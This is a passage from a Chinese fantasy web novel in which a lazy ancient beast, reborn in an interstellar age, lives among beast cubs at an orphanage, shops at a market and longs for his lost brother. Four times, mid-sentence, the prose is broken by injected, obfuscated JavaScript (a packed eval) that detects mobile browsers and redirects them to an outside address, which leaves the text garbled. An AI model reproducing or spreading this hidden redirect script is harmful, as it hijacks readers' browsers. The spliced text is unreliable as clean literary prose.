他才睡了不到十二个小时,不开心。 苏尔:“?!” 不是、 说话的是只有他吗?为什么只针对他! 人能忍,兽不能忍。而且舒泽的外表过于无害,容易让兽忘记那恐怖的武力值,“你叫谁咪咪呢!你才是咪——” “哎呦,您醒啦~~”熊铁锤扔下镰刀,娇俏的一跺脚,旋风似的刮过苏尔,抓住舒泽的裤脚扭捏,“早上人家都不敢打扰您睡觉的,下床那都是轻手轻脚,才不像某些坏咪。” 不理解但中伤的苏尔:“?” “是的呀,是的呀。”小灰也颠颠的跑过来抱住另外一只腿儿,尾巴缠住脚踝,“饭都在锅里热着呢,我去给您打起来?” cos稻草人的皮皮在苏尔出现的那一刻就开始慢皮先动,终于在两个小伙伴都示好结束后,成功挪过去,把脑袋往舒泽掌心里一倒,呼哧呼哧的扇耳朵。 苏尔:“???” 舒泽垂眸看着主动凑过来示好的崽儿,眼神没什么变化,伸出空手在毛茸耳朵上轻拽了把。 冰冰的,有点弹,毛软软的。 舒泽眼睛微微发亮,手搓得愈发带劲。盘得越快,眼睛越亮。 好像有点明白,为什么他哥总喜欢捡一些毛茸茸的幼崽回来,爱不释手的抱着。 这个手感,确实很不错。 一手一个,不亦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659855|156700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐乎。 熊铁锤敏感一抖,但惦记着心中大计,咬碎了牙往肚子里吞,视死如归的主动往舒泽手里凑,“您摸我吧,我毛比他俩的舒服!” 小灰和皮皮大为感动,熊铁锤咧嘴一笑,大义凛然。 舒泽垂下发软的手,“啧。” 熊铁锤心下一抖,“您是哪里摸得不满意吗?” 舒泽怏怏的,“有点累。” 一只要自己动手,真的好累哦。 机警小灰立马爬起来端了板凳放在舒泽屁股下面,熊铁锤把舒泽的手放在自己耳朵上,把头当拨浪鼓摇,确保客人有极致体验。 皮皮用生平最快的速度,把饭端过来,用上供般的虔诚态度递给舒泽。 舒泽在跨出房门半步的位置上,拥有了一碗热气腾腾的午饭、两个按摩的、一个表演原地后空翻的。 虽然他并没有办法在那颗圆润的球上分出首尾,但是滚滚那么说,总是有他自己的道理的。 三崽一人,其乐融融。 还有一只搞不清情况的咪。 他在不理解和他们这么做总是有道理中纠结,最后选择迈出那一步,舔着脸凑过去,“喵~” 有点没夹住,听起来像劈叉的破铜嗓子。 舒泽眯着眼睛嘬汤,看滚水浮汤圆,正是舒服的时候。听见这一声,人畜无害的小脸一绷,眼刀子扫过去,“滚。” 苏尔:“诶,好嘞。” “等下。” 喵咪回头wink,“哈~” 他就知道,轮可爱,它怎么会输给那三个臭小崽。 舒泽:“把碗洗了。” 苏尔:“……” 金色阳光洒下,照得人暖洋洋的。舒泽卷缩在椅子里,双手揣抱,观看卖卖力跳舞表演的熊铁锤。 他打了个哈欠,有些犯困。 但他还有重要的事情要干,还不能睡。他打开好心人送的智能手环——基础的功能和原来的手机差不多,他准备掏出来给自己打个飞车。 哪曾想,他一抬手,熊铁锤“呜——”的一声哭了,“求求你,不要录像。” 他捂住自己的黑耳朵,痛苦不已,“我家里人不知道我出来干这个!” 不! 他是一只吃肉的凶兽,怎么可以!怎么——可以! 舒泽:“。” 他退出打车页面,打开手环录像,对准熊铁锤,“你也不像被家里人知道吧?” “扭屁股,你会的吧?” 熊铁锤:“o……i……” 洗碗的苏尔怒砸水面。 你们说的是什么正经服务吗! 这是幼崽保育院!保育院! 暂时告别别有用心的崽儿,舒泽坐上了飞车。 【欢迎乘车,我是您的智能司机,请输入您的目的地】 还好星际时代飞滴也有无人驾驶的,不然谁愿意来这个偏远又吓人的保育院。 舒泽说了个最近的市集名称,靠在座椅上闭目养神。 5. 第 5 章 飞车疾驰而出,三对毛茸茸迎风招展。 小灰抱着自己的尾巴梳毛,担忧的问道:“他不会一去不复返了吧?” “那怎么今天的讨好算什么呀。” 皮皮:“算我们有得是力气和手段。” 铁锤、皮皮:“…………” 熊铁锤无语拍脑门,“皮皮,你为什么只有讲冷笑话的时候,反应才那么快啊。” 皮皮放空,皮皮扇耳朵,皮皮听不懂思密达。 苏尔靠着左边两条腿蹦过来——右边埋坑已经埋废了。 “你们到底在打什么注意啊?”他垮着大饼脸,骂骂咧咧,“没事讨好他干什么?” 熊铁锤负手,没负成功,再负,指尖艰难交接,挺肚而立。嘴角扬起三分不怀好意,六分高深,两分不羁,“那当然是,想办法,鲨了他。” 苏尔:“……” “好了,旁边那个掰手指念旁白的。” “三加六加二等于十一,数都数不明白还想当反派啊?” 真无语。 小灰:“QAQ” ——洛碛集市—— “小伙子,你看我这个菜,新鲜得很呐!”卖菜的大爷唾沫横飞,把手心里的青菜翻来弄去,就差在手心里炒熟出锅,“你砍价也不能对半砍啊!” “要不,添点?” 舒泽不说话。 因为被迫出门,丧得面无表情,和大爷手里的菜一比,像颗蔫菜。 他在心里回答,蔫菜没有力气讲话。 眼见对方不松口,他扭头就要走,大爷又急了,“诶诶诶!!你这年轻人,讨价还价你倒是还一还啊!” 舒泽不听。 哥说了,年轻人在菜市场买菜,会被坑。感觉不对劲,那就走。 “诶!行了!我卖给你还不成吗!” 舒泽丝滑转身,哥还说了,人生如戏,不必太较真。 大爷一边收菜一边碎碎念,“要不是就剩这点了,我这都是亏本卖!” “你也是沉得住气儿,一声不吭。” “你这细胳膊细腿儿,买那么多怎么拿啊?”大爷嫌弃的扫了眼舒泽的小身板,没等他说话,打开身后的竹筐,“小甲,帮客人送一下。” 竹篮下面,一只手指长,通体黑色的小虫子爬了出来。背翼油亮反光,隐隐流转着淡紫色。 他走过来,灵巧一钻,淹没在了巨大菜团里。就像普通,寻常的昆虫,在各种遮蔽物间移动躲藏。 下一秒,菜团开始缓慢的动了起来,像东西长了腿儿。 舒泽多瞄了几眼,大爷警惕开口:“我家小甲是在监管处就业办登了记的合法兽,就那么一只小虫、异能阻碍要再开高点,可就干不了活儿了。” 绝大部分人对异兽族的态度不好,大爷怕眼前这个青年就是极其讨厌异兽的那部分人,做出对小甲虫不好的事情来。 动物本来就是人类的朋友,异兽更通人性,不就是更方便沟通交流的好朋友吗?人还有好有坏呢,至于把所有异兽一杆子打死么? 舒泽没回答大爷的话,看着那只移动菜团若有所思。 …… “啦啦啦,我是一只好虫虫~我会滚团团~” “团团~饭饭~~~!” “死了!都要团!不——淋漓尽致!吃!不饱饭!!” 舒泽轻松抓起菜团子,弯腰,半掀眼皮,盯着小黑虫,“请问,你可以小声点吗?” 比起买菜的时候,肉眼可见的又变丧了些。 这只虫,唱了一路。 唱就唱吧,舒泽也不是很想干涉人家的自由,但虫虫还飙高音。 飙就算了,还破音。 魔音穿耳,太折磨兽了。 小黑虫感受到头钳上的重量骤然一轻,本来还在疑惑,等发现舒泽和它说话后,整只虫都不好了。 几个爪子抠了又抠,弱弱的,“你、你得见我说话?” 舒泽:“。” 呀~ 原来人/兽沟通有壁。 他坦然自若,“哦,听不见,我刚刚听错了。” 小虫虫:“……” 妈妈! 有人骗虫虫! 舒泽伸手划了个圈,挥着六条腿儿惊恐逃跑的小虫就跟鬼打墙似的,一直在原地圈圈圆圆圈圈。 舒泽蹲着看了会儿,用手去扒拉虫,无头乱转的虫一不留神就翻了个底朝天,但因为害怕,又无暇顾及,慌慌张张把自己翻过来,又继续逃跑。 循环往复…… 舒泽眼角透出细碎的笑意,像手痒的小猫咪恶作剧得逞时的快乐,有点子邪恶。 跑累了的虫虫:“…………” 我真服了啊。 虫虫放弃挣扎。 爱死死,反正它也要累死了。 报了“魔音穿耳仇”的舒泽戳戳它的背,“我向你打听一个人。” pia叽贴在地上的虫虫,委屈巴巴,“你刚刚说你听不懂虫话的!” 舒泽:“哦,所以呢?” 打死我? 舒泽眼里泛着光亮,好像真的很期待对方来打死他。这样就又有理由欺负回去了。 小甲:“呜——” 这是什么人啊!连虫都欺负! * 重活自由后,它爬到菜团子上和舒泽对视,如果舒泽看得见它眼睛的话。 小甲有气无力,“说吧,你要找什么人。” “不是我吹,我每天在菜市场迎来送往,这片就没有我不知道的事情。” 虽然人听得懂兽话这件事,确实很有冲击力,但虫虫没有在舒泽身上感受到厌恶和害怕,跑又跑不掉,只好勉强配合。 “今天早上就有个大事,城北有个富豪家的猫跑丢了,整整悬赏3万星币……到处都是人喵了个咪的找猫。”小虫感慨道,“你说那些爱把我们虫虫刨来刨去,当玩具的猫有啥好的?人类为啥那么喜欢它们,手那么欠……难道就因为它们毛茸茸的吗?” 舒泽不吭声。 他是老虎,又不是猫,不知道哟。 “哎呀,说远了。你要找什么人啊?” “唔……”舒泽沉吟望天。 或许是有了蓝星的前车之鉴,现在的人类更关注环境保护,湛蓝的天不沾一丝雾霾,反倒更像两千年前,山海境还和人族地盘联通时的模样…… 舒泽眼中骤然浮现出画面。 一枝桃花带着花香落在脑袋上,墨发垂落在眼前晃得手痒,清润雅正的嗓音从上方传来,无奈又宠溺,“又把我种的花压秃……” 恍惚间,蓝天依旧,故人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659856|156700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不再。 舒泽怅然若失,“他很帅……” 等了半天的小虫:“?” “还很温柔。” “??” “很高,对我很好,对很多兽都好,但对我最好。不管发生什么事,他都是笑着的,我从来没见过他生气。” “???” “不是。”小虫真的怒了,“你有对象了不起啊!” 臭人!在一只虫面前秀恩爱,简直丧心病狂! 舒泽奇怪的看了他一眼,“你这虫,脑子里面都在想什么呢?” “这是我哥。” 小虫:“…………” 你们人类管这个叫兄弟? 谁好人家说自己哥哥的时候一脸甜蜜啊?!情哥哥啊! “能不能整点能用的外貌特征!” 尽搞这些抽象的! * “美人儿~来~喝一个!”大腹便便的中年人,醉醺醺的揽过旁边的兔女郎,张着酒气冲人的大嘴就凑了过去。 面容姣好的清纯女郎半推半就的蹭上去,娇弱无骨的把胸前两团软肉贴上去,磨得男人神色迷离,大手揪着尾巴狠狠揉捏。 美人娇哼,那兔尾巴像有生命力似的,细微颤抖…… “砰——!” 大门猛的打开,冷风吹散温香。 男子脸色骤变,身子一软,圈住的兔女郎无力跌落在地,“哈~”粉白粉白的耳朵遮住汗津津的脸。 “谁?!” 男子拍案而起,面色铁青,“谁他妈敢查老子的房!” 裤上的拉链还开着。 门外,傅宴川一袭黑色风衣,双手插兜,长腿刚刚收回。逆光而站,光影在脸上切割,明暗交杂,眉眼冻着寒霜。 鬼魅阴鹜,玉面煞神。 “异兽监察处傅宴川,奉命查封非法活动。” 中年男子腿猛然一抖,又惊又怕,“傅宴川你疯了吗?老子是参议院的人!” 虽然在政事上,他是和傅宴川不对付。但就算是政敌,也特么用不着那么狠吧? 是不想玩儿了,要掀棋盘?? 傅宴川淡漠扫过满屋淫/靡,如高山冷雪不沾肮脏,过眼却不如眼。 薄唇轻启,掷地有声的落下三个字,“给、我、搜。” 身后,两队人马鱼贯而入。 男子的怒骂声,女人的尖叫声…… 傅宴川闭上眼,无声吐出一口浊气。 既希望弟弟在这里,又不想他看见如此肮/脏一面…… “阿嚏——!” 舒泽揉揉鼻子,“我都说完了,你还不知道是谁吗?” 虫虫生气,虫虫抓狂,虫虫一怒之下怒了一下,“你这样滤镜加工朦胧美,鬼都听不懂。” “你有照片吗?” 它把自己整个调转个头,指向旁边的墙,“就像那样,给我个照片也行啊。” 墙上贴着富豪的寻猫启示。 星际时代少见的华国水墨画,簇簇粉白的桃花林中,一小团炸毛橘色正拿爪子勾着枝条,龇牙咧嘴的啃花。 身下已然堆积一地残花。 下笔之人倾注了绝对的爱意,小猫活灵活现,那股讨嫌的劲儿跃然纸上。 舒泽嫌弃的瘪了下嘴,好不端庄的咪。 6. 第 6 章 好不端庄的咪。 还那么弱。 不像他,原身威猛高大,凶神恶煞(自以为),一口一个人类薯条,嘎嘣脆(纯传闻)。 心下一番对比,舒泽矜持收回视线,直截了当,“我没照片。” 虫虫:“……” 你没有!你有道理!你拽什么拽! 比猫还要烦虫! * 打工虫把菜团子顶到飞车旁,“好了,我的任务完成了。” “你要找的……人,我会帮你留意的,你不要去找我主人麻烦。” 舒泽歪头看它,稀碎黑发下的瞳孔圆溜溜,“我以为异兽都不喜欢人。” 虫虫搓了搓三组腿儿,“又不是每个人都是奴役兽的坏人……” 爷爷从来不叫它干重活,也不会打它,还允许它在墙角堆粪球。 比起那些兽,它已经过得很好了。 舒泽思考了会儿,蹲下身,盯—— 虫虫:“?” “干嘛?” 舒泽鼓起脸,对准虫,“呼———” 平地起龙卷风,好好一个虫又四仰八叉朝天懵,“????” 舒泽趁机上了飞车,溜之大吉。 虫虫:“…………” 虫这辈子都没有那么无语过! 短短一截路,虫心累到呼吸疼痛。但是罪魁祸首已经跑了,它没了办法,正准备回去时,一只做工精良的皮鞋挡住他的去路。 男子半蹲,拿音波枪轻蔑的弹了下小虫,“老大,这只屎壳郎居然也是异兽诶。” 他摁住身上稳稳作响的异能检测器,嘲讽的说道,“居然还带了异能环,真有人那么奇葩,养屎壳郎啊?” 是异兽监察处的人! 冰冷的枪/管,漆黑的口,无尽深渊,死亡黑洞。小虫害怕到忘记呼吸,匍匐在地上,惧怕又生气。 “梁杭。” 一道清冷男声响起,声音虽小,但其蕴压迫,不怒自威。 小虫脑中一片空白,这是!这是—— 傅宴川迈步靠近,冷淡一瞥,眼中不含任何情绪,“不要节外生枝。” 懒将路边小虫纳入眼中,高高在上。 果然是他! 监察处处长!傅宴川! 一人一枪杀掉异兽族族长、异兽族噩梦的开端、掌控者整个异兽族生死的恐怖男人。 传闻中,他嗜血如命,没事就喜欢杀俩异兽当下酒菜。兽兽间口口相传,必须避开的危险人物。一旦遇上,兽生就要结束了……小虫惊恐闭上眼,脑中只剩下两个字疯狂刷屏,完了完了完了…… 下属不敢再玩闹,收回枪肃然道:“是!” 他悄悄去瞄傅宴川稍露疲态的脸色,心下疑惑。这已经是今天第三个待查封的地方了,往常也不是不知道这些个乱来的地方。 到底出了什么事,急得老大刚出差回来就连夜进宫请旨? 正被下属揣摩的傅宴川,平无波澜的掠过墙上的寻猫启示,心中烈火灼烧。 到底……在哪里…… “阿嚏——!” 舒泽吸吸鼻子,怀疑自己感冒了,不然为啥一整天都在打喷嚏。 飞车平稳落在保育院大门外,【滴——交易完成,共计20星币,个人账户戚穹扣费成功。欢迎您的使用,欢迎下次光临~】 黑户听着自己的新名字,陷入沉思。 思考两秒,好累啊,放弃思考。 反正又不会死。 就算真的会死,那大不了就死啊。 他深吸一口气,“咪——咪——” 苏尔骂骂咧咧,骂骂咧咧的瘸了过来,厌世脸挤出谄媚的笑,“您有什么吩咐?” 舒泽指指地上的东西,蔫哒哒,“扛进去。” 好累,他要回去睡觉。 苏尔:你丫&*瘸%¥丧心病狂#@ “好的呢~” 它把自己身形等比例扩大一倍,用嘴把包袱叼起来,也没注意是个啥,眼咕噜转啊转,“我走得有点慢,要不您走前面吧。” 舒泽丧丧的看了眼苏尔,看得后者尾巴心虚的晃啊晃,“怎、怎么了吗?” 舒泽:“有没有人说过,你看起来——” “算了,不说了。” 苏尔:“???” 谁好人家说话说一半,后面是啥你倒是说啊! 但是舒泽就是铁了心的要让他难受,闭口不谈后半句。在苏尔期待且怨毒的目光中,往前迈了两步,瞅了地上两眼,然后——倒退三步。 苏尔:“?” 善变的人类,干森么? “我改主意了。” 舒泽眯起眼,澄澈极致的黑眸闪烁,仿若洞悉一切,“你走前面。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659857|156700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>苏尔一僵,“……可是我走不快,那不是耽误您么。” 舒泽主打一个乐意助人,甜得像扶老奶奶过马路,五讲四美的热血好儿郎,“没关系,我可以帮你呀~” 可怜无助但肥胖的凶兽有那么点不好的预感,“怎、怎么帮?” “不、不不不不……使不得、不不不不……” 舒泽摆弄着手里的兽,团吧团吧,轻松打造球状物体。最后把尾巴塞进嘴里,以防散架。 他活跃气氛,“准备好了吗!” 口齿不清的苏尔:“pupupu!” 兴奋的舒泽:“gogogo!” 单手抓球,弓步压腿,保龄球姿势,出击! “不————” 圆润的球亲吻大地,撩动那不明显的细线。 “啪嗒—” 绳索断裂,几根银针破风而来,高速运转的球迎面冲击!扎了个浅入深进,嚎了个酣畅淋漓! 吃痛张开的嘴,炸开的四肢,飞翔的灰麻袋。 “pia——” 滑翔结束,陆地生物回归大地,激扬尘土。 “噗呲—呲——呲呲呲——” 熟悉的位置,熟悉的颜色……苏尔的屁股,像喷泉似的,开始冒血。 舒泽把手举在额前眺望,“呀,花洒诶。” “请你尊重我的屁股!”四肢附伤的苏尔以头抢地,邦邦砸响。 士可杀不可辱,气势要摆足。 咚得响亮!咚得愤怒,咚得、平整的地上凭空冒出一个洞,灰麻袋发出最后的悲鸣,“我讨厌坑!!!” 坑~~~坑~~~~~ 余音绕梁,把三个始作俑者吓得打哆嗦。 “皮、皮皮皮皮,我们怎么办呀?”小灰抱着自己的尾巴,结结巴巴,“我感觉要死了。” 熊铁锤呜的一声哭出来,一边哭一边凶猛的塞果子。 小灰:“咿呀?” 皮皮:“当个饱死鬼。” 小灰:“O.O” 他掏出自己兜里的松子,往自己嘴里塞,也往皮皮嘴里塞。熊铁锤吃急了眼,又伸出一只手,掏松子,左右开弓。边塞边跳,把堆在喉咙管里的食物往下颠。 崽嘎了,粮食还没吃完,那是多么痛苦的事情! 提着赈灾粮过来的舒泽,看见三崽的中邪吃法,一整个“?”。 7. 第 7 章 “可以给我吃一点吗?” 熊铁锤把嘴里一大团哽下去,不耐烦的小爪一推,“要啥自己拿!” 磨磨唧唧的,哪还有兽的模样? 等等。 这个声音…… 得到本兽认可,舒泽欣然咬上小黑耳朵,毛茸茸冰凉凉,果然很Q弹。他遵从本心,磨了磨牙,眯起眼睛感受唇齿间,颤抖的酥麻。 耳朵微痛泛痒,全身僵硬的熊铁锤:“!!!” 小灰手里捧着的松子噼里啪啦落了满地,声音微弱目瞪口呆,“吃、吃兽啦。” 舒泽含着耳朵,囫囵回答,“就吃一点。” “呀……”小灰耳朵向后飞,挠挠脸,不知道该说点啥。 他没有皮皮那么聪明,也没有熊铁锤那么能干,逆来顺受,不太会反抗,别人说什么都是好。 本来预计的是会被整个吃掉,现在只牺牲了铁锤一兽的耳朵。只是少个耳朵的话,好像也能活?这人好像也不坏诶。 于是他好心的提醒了一下双方,“那你别呛着了,毛有点糊嘴巴。” “铁锤,你别乱动,小心啃到你脸上去。” 一只耳还好,半边脸就有碍观瞻,容易吓到他。 熊铁锤喉咙挤出稀里咕噜的悲鸣,泪汪汪的,“你真是我的好兄弟。” 舒泽:嘬嘬嘬嘬嘬 皮皮蹲在旁边,安静的像块儿无机质石头,望着抱着熊铁锤啃的舒泽,眼中闪过一丝疑惑。 * 折磨结束,熊铁锤蹲在地上自抱自弃,顶着湿漉漉的耳朵,双目无神,“我不干净了……我不干净了……” 舒泽一脸餍足的捏了捏熊铁锤的胖脸,“伺候得不错,我很满意。” 他把买来的物资往三个崽旁边一放。 小灰望着小山似的包裹差点吓瘫,抱着尾巴结结巴巴,“我压扁了也不好吃的。” 舒泽rua了把大灰尾巴,“这是嫖……工资,好好干,以后少不了你们的好处。” 内心世界大雨滂沱的熊铁锤猛然抬起头,眼眶通红,“你在说什么!你刚刚想说什么!” 这可恶的人类把他当什么了? 只管逗不管哄的舒泽,一把捂住自己的耳朵,“我不听我不听我不听……” 回房间啪的把门关上,又露出个脑袋,“晚饭再喊我。”说完缩回去,这下是真关了个严严实实。 熊铁锤抓着自己胸前的衣裳就要冲过去辩解,他不是那种给撸给抱给亲亲的宠物熊,他是凶兽! 有独立兽格的人……兽?兽/人? 算了,这不重要!反正这种事情再发生一次,毋宁死! 这边的皮皮已经把小山解开,一颗圆润的包菜滚到脚边,小灰惊呼出声,“哇~” 里面的东西五花八门,全都是些日用品,不仅有青菜粮食,速成菜籽,甚至还有三把缩小迷你的小锄头。 熊铁锤脚步一停,凝望着足够吃上半个月的粮食,片刻后,闭上眼。像是下了某种坚定的决心。 他用力的把自己的上衣袖子往下一拉,露出圆润到像个白馒头的肩膀,捏着嗓子,摇着尾巴,扑向房门,“客官,来玩儿呀~” 什么卖不卖的,主要是他这个兽吧,与人同乐。兽/人永不为奴管他熊铁锤什么事? 躺在坑里,灰扑扑的苏尔,艰难的将下巴微抬百分之四十,“哈”的一声,吐出一嘴灰。声音虚弱缥缈,若有似无,“有没有人,管管我啊……” 静—— 零人在意。 真是~倒霉~ 失血过多导致贫血的苏尔,就这样,在无人在意的角落昏睡一整夜。 房内,三个崽把木板床架子拆了重建,铺上宣软的新棉絮。舒泽独占一个大床,三个崽崽睡一起盖同一床。 寂静暗夜,皮皮慢吞吞的坐起来。借着月色,又用白日那种,不理解的疑惑目光看着左边床上卷成一团,随着呼吸,微微起伏的舒泽。 他想不明白这个人想干嘛。但他好像,没有恶意。 但有恶趣味。 聪明皮在心里补充了一句。 “哪有那么多为什么。”舒泽带着浓重睡意的困倦嗓音响起,皮皮这才意识到,自己竟然不小心把心底话说了出来。 被尿憋醒,但是又不想动,于是纠结了半个小时,睡又没睡起也没起的舒泽慢吞吞的裹着被子立起来。 他很努力的撑开被眼屎糊住的眼睛,难得认真,“我会好好养你们的。” 就像他哥哥当初把他捡回去,养大那样。 …… “他们叫你帝君,你很厉害吗?”小橘猫跳上肩头,穿着白袜子的粉爪爪淘气的去剥弄男人如瀑般的黑发,掏掏掏,龇牙咧嘴的上嘴咬。 宴川帝君是最温柔不过的人,对上这般调皮的小兽简直束手无策。手指微动,将那一缕沾满口水的青丝削去。 长袖一挥,将跌落的橘团收入怀中,“不厉害。” 修长如玉的指尖陷入绒毛,轻轻抚过,“我只是一个倒霉的土地公。” “捡一些顽皮的小兽回来,将他们养成好兽,免得他们去祸乱我这一番净土。” 芳菲落英,清风流转,千百年前的景色碎去,眨眼只余有点漏风的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14659858|156700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破板房。 舒泽眨眨眼,敛去怅然,再次重复道:“总之,我会养好你们的。” 皮皮不甚理解,但却被舒泽的认真震撼到,“你……” 舒泽零帧起手,抓过衣服往身上一匹,风风火火的往外冲,“上厕所上厕所……” 憋不住了憋不住了。 皮皮:“……” * 那晚的谈话,舒泽没有再提。皮皮也没有和小伙伴说过。毕竟,三个崽只能凑出一个脑袋,还就长在他头上了。 要真说出来,指不定自己还会被带跑偏。 好在舒泽“交粮上供”的行为,大大缓和了矛盾。他们还小,也没有出过保育院,对人类这一种族的认知都来自于苏尔。 人类贪婪又邪恶,会把他们榨成汁(苏尔原话是压榨,但幼崽理解能力有限)各种欺负他们。 但现在的舒泽,和他们井水不犯河水,除了嘬耳朵rua尾巴,要看后空翻以外,也没什么特别过分的要求。 甚至比刚来的苏尔还要省事,起码不会抓着他们听课。 三个崽崽平静的接受了舒泽这个保育员的存在。继续自己日出而作,日落而息的日子。只是煮饭的时候,需要再多煮上大半锅,养保育员。 涉世未深的崽崽们,完全不知道,保育员这一岗位的职责其实是,照顾崽,而不是被崽照顾。 熊铁锤掐了把水灵灵的青菜,脸上洋溢着丰收的喜悦,“今晚上的菜有着落了。” 而舒泽则是延续,吃了睡、累了睡、晒着太阳睡、撸着毛茸茸睡的生活。 午饭后,继续卷成一团困觉,吸收天地灵气的同时,意念传送寻人启事。 哥~ 哥哥~~~ 你的弟弟在这里,还活着的话快来找~~ 要晒糊了,需要翻个面。他缓缓打开卷缩的身子,四仰八叉的摊平,接收到信号的小灰和皮皮,熟练的拉起舒泽身下的布,用力一扯! 咸猫翻身。 阳光给舒泽脸上细小的绒毛镀上一层金色,敏锐的跟着微风晃动。短短几天,他长不少肉,侧脸都圆润了许多。 小灰惆怅,“人都那么懒吗?” 搞得他干活提心吊胆,担心一个不留神舒泽把自己晒糊了。 皮皮扇扇扇扇扇耳朵,都不知道怎么提舒泽那晚的豪言壮语。 “算了,睡就睡吧。”小灰摸清楚了舒泽的习惯,好脾气的说,“只要不要往山上走就行了。” 上面的兽兽那可太凶了,和苏尔可不一样。 咦~ 好像有几天没看见它了诶。 8. 第 8 章 小灰扫扫尾巴思考了会儿,趴到舒泽的脸边,用耳朵挠他痒痒,“人,你有看见咪吗?” 或许是日日投喂松子的情感,无害状态下的舒泽,给小灰一种,这人是他养的感觉。 舒泽半睁一只眼,目光留恋在毛茸茸的耳朵和大尾巴上,“咪没有看见,但是看见鼠了。” 小灰:“oi?” 舒泽长手一捞,舒适得像在床上抓了个抱枕。把小灰捞进怀里。手动把大尾巴盖在肚子上,鼻尖蹭在耳朵上狠狠一吸。 双臂收紧,舒舒服服的昏睡过去。 天旋地转,经历一条丝滑连招的小灰:“牙~?” 他试图挣扎,左动右扯,憋红了脸,最后以耳朵被舒泽压在下巴,尾巴夹在腿/间告结。 “……” 可怜的小崽崽,双目含泪,茫然无措的看向皮皮。 但皮皮只会扇扇扇扇扇耳朵。 地里的熊铁锤扛着锄头过来,敦敦敦,每一步都走得十分夯实。嘚叭嘚叭,不停地输出,“我真实不知道这个家是怎么回事!” “是只有我一张嘴吃饭吗?活儿全交给我一个人干是吧?” 双手叉腰的熊铁锤,眼中染起的怒火,成功让他从一个小土豆变成了喷火小地雷。 尤其是看见和舒泽“搂搂抱抱”、“不成体统”的小灰时,更是两两相望,唯余失望,“我从来没想过,你居然是这样的兽兽。 “不——”只能用爪子扒拉着舒泽手臂的小灰艰难解释,“我不是,我这都是被迫的。” 为了证明兽不由己,小灰绷紧耳尖,开始蓄力,只要他展示人类的超强禁锢力,那他就是无辜的! 小灰鼓起气,爪子用力一撑,“嘿哈!” 比沙地拔萝卜还要丝滑,不仅出来了,还控制不住力道的往前滚了一周半,水灵灵的对上了铁锤伟岸的胸膛。 “????” 熊铁锤:盯—— 瑟瑟发抖的小灰:“……不是,你听我解释。” 他颤颤巍巍的举着爪子朝后指。 酣睡的舒泽优雅翻身,人只是在睡觉,人什么都不知道~ 哑口无言灰:“……” 他尾巴一扫,想到了和一起玩儿的皮皮,“皮皮!皮皮他——” 小灰慌张寻找“同伙”,却发现刚刚还在旁边站着,对自己求助只能贡献扇扇扇扇耳朵的皮皮,不见了。 找了一圈发现,皮皮正蹲在菜地里有模有样的扯杂草。 刚刚话都反应不过来,这下子就健步如飞了??!! 熊铁锤也跟着在找皮皮,在看见皮皮劳作的背影后,怨气削散。对比之下,对小灰的怒气值又噌噌噌的上涨。 见他那游手好闲的样子,是哪儿哪儿都不满意,“我对你真的很失望。” 小灰:“…………” 舒泽翻面仰对日光,啊,多么开心的一天~ 照例。 舒泽又摊到了吃晚饭的时候才支棱起来,软塌塌的挪到饭锅旁,趴在桌子上虚弱无力。但一把饭放他面前,就使出了林黛玉倒拔垂杨柳之姿,迅猛的干掉小半锅。 皮皮瞅瞅他,嘬两口饭,又瞅瞅他,再嘬两口饭。 再次怀疑,那天晚上是不是自己听错了。其实舒泽说的是,“你们一定会养好我。” 舒泽无瑕顾及皮皮的沉思。 他觉得好累,非常累。 虽然原来他也爱睡觉,但那只是因为他想睡觉。正常情况下,他还是一只身姿矫健,恶魔奔腾,喋血狂怒的超级大凶兽的。 但是现在,虚累感从灵魂深处不断冒出。像是被锁在了一个密闭的空间,手脚都带上了枷锁,呼吸困难。又像是吃了什么大补品,气血过旺,淤塞堵截的虚闷。 提不起一点劲,只想睡觉。 他晒太阳的时候也是努力思考过的,最后将原因归结于,自己睡久了。毕竟睡了上千年,有些疲乏很正常。 想要恢复正常,要么吃饭,要么运动锻炼。所以他选择吃饭和吃饭还有吃饭,饿了上千年了,多吃两口怎么了? 至于其他的,那就再说吧。想睡就睡,清醒需要一个过程嘛。 